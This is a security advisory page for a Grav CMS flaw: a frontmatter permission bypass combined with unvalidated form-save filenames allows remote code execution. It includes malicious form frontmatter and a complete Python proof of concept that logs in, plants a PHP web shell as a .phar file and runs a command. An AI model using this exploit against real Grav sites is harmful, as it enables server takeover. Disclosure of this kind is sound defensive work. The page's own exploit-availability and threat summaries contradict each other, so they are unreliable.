Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-f6g2-h7qv-3m5v

HighCVSS 8.8 / 10
Published Mar 6, 2024·Last modified Feb 17, 2026
Affected Components(0)

No affected components available

Description

Summary

  • Due to insufficient permission verification, user who can write a page use frontmatter feature.
  • Inadequate File Name Validation

Details

  1. Insufficient Permission Verification

In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link

  1. Inadequate File Name Validation

To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xss_check: false attribute should be added. Disable XSS

---
title: Contact Form

form:
    name: contact
    xss_check: false

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            filename: this_is_file_name.phar
            operation: add

---

# Contact form

Some sample page content

Exploiting these two vulnerabilities allows the following scenario:

  • A regular user account capable of creating pages is required.
  • An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account.
  • Accessing the Contact Form page, the attacker submits PHP code.
  • The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].

PoC

PoC Video Link

# PoC.py
import requests
from bs4 import BeautifulSoup

class Poc:

    def __init__(self, cmd):
        self.sess = requests.Session()

        ##########    INIT    ################
        self.USERNAME = "guest"
        self.PASSWORD = "Guest123!"
        self.PREFIX_URL = "http://192.168.12.119:8888/grav"
        self.PAGE_NAME = "this_is_poc_page47"
        self.PHP_FILE_NAME = "universe.phar"
        self.PAYLOAD = '<?php system($_GET["cmd"]); ?>'
        self.cmd = cmd
        ##########    END    ################

        self.sess.get(self.PREFIX_URL)
        self._login()
        self._save_page()
        self._inject_command()
        self._execute_command()
    

    def _get_nonce(self, data, name):
        # Get login nonce value
        res = BeautifulSoup(data, "html.parser")
        return res.find("input", {"name" : name}).get("value")

    
    def _login(self):
        print("[*] Try to Login")
        res = self.sess.get(self.PREFIX_URL + "/admin")

        login_nonce = self._get_nonce(res.text, "login-nonce")

        # Login
        login_data = {
            "data[username]" : self.USERNAME,
            "data[password]" : self.PASSWORD,
            "task" : "login",
            "login-nonce" : login_nonce
        }
        res = self.sess.post(self.PREFIX_URL + "/admin", data=login_data)

        # Check login
        if res.status_code != 303:
            print("[!] username or password is wrong")
            exit()
        
        print("[*] Success Login")


    def _save_page(self):
        print("[*] Try to write page")

        res = self.sess.get(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        # Add page data
        page_data  = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGE_NAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&toggleable_data%5Bheader%5D%5Bprocess%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0"
        page_data += f"&data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D"
        res = self.sess.post(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add" , data = page_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success write page: " + self.PREFIX_URL + f"/{self.PAGE_NAME}")


    def _inject_command(self):
        print("[*] Try to inject php code")

        res = self.sess.get(self.PREFIX_URL + f"/{self.PAGE_NAME}")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        form_data = f"data%5Bname%5D={self.PAYLOAD}&__form-name__=contact-form&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}"

        res = self.sess.post(self.PREFIX_URL + f"/{self.PAGE_NAME}" , data = form_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success inject php code")


    def _execute_command(self):
        res = self.sess.get(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")

        if res.status_code == 404:
            print("[!] Fail to execute command or not save php file.")
            exit()

        print("[*] This is uploaded php file url.")
        print(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")
        print(res.text)


if __name__ == "__main__":
    Poc(cmd="id")

Impact

Remote Code Execution

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
1.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard